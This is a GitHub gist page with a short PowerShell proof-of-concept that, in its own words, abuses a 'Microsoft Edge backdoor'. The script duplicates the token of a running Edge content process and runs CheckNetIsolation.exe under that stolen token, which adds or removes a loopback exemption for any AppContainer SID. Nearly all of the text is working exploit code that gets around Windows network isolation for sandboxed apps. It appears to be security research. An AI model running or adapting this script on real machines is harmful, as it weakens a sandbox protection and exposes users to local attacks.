Skip to content

Instantly share code, notes, and snippets.

@tyranid
Created July 22, 2018 11:39
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tyranid/dbf0c704c1602929936c21196c0d5079 to your computer and use it in GitHub Desktop.
Save tyranid/dbf0c704c1602929936c21196c0d5079 to your computer and use it in GitHub Desktop.
# Add an arbitrary loopback exemption by abusing the Microsoft Edge backdoor.
param(
[Parameter(Mandatory)]
[string]$Sid,
[switch]$Delete
)
Import-Module NtObjectManager
$token = Use-NtObject($ps = Get-NtProcess -Name 'MicrosoftEdgeCP.exe') {
$p = $ps | Select-Object -First 1
if ($null -eq $p) {
Write-Host "Microsoft Edge must be running"
exit
}
Get-NtToken -Primary -Process $p -Duplicate -ImpersonationLevel Impersonation
}
Use-NtObject($token) {
if ($Delete) {
$cmd = "-d"
} else {
$cmd = "-a"
}
Use-NtObject($proc = New-Win32Process "CheckNetIsolation.exe LoopbackExempt $cmd -p=$Sid" -CreationFlags Suspended, NewConsole) {
$proc.Thread.SetImpersonationToken($token)
$proc.Process.Resume()
$proc.Process.Wait() | Out-Null
$exitcode = $proc.Process.ExitStatus
if ($exitcode -ne 0) {
Write-Host "Error adding loopback exemption (exitcode: $exitcode)"
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment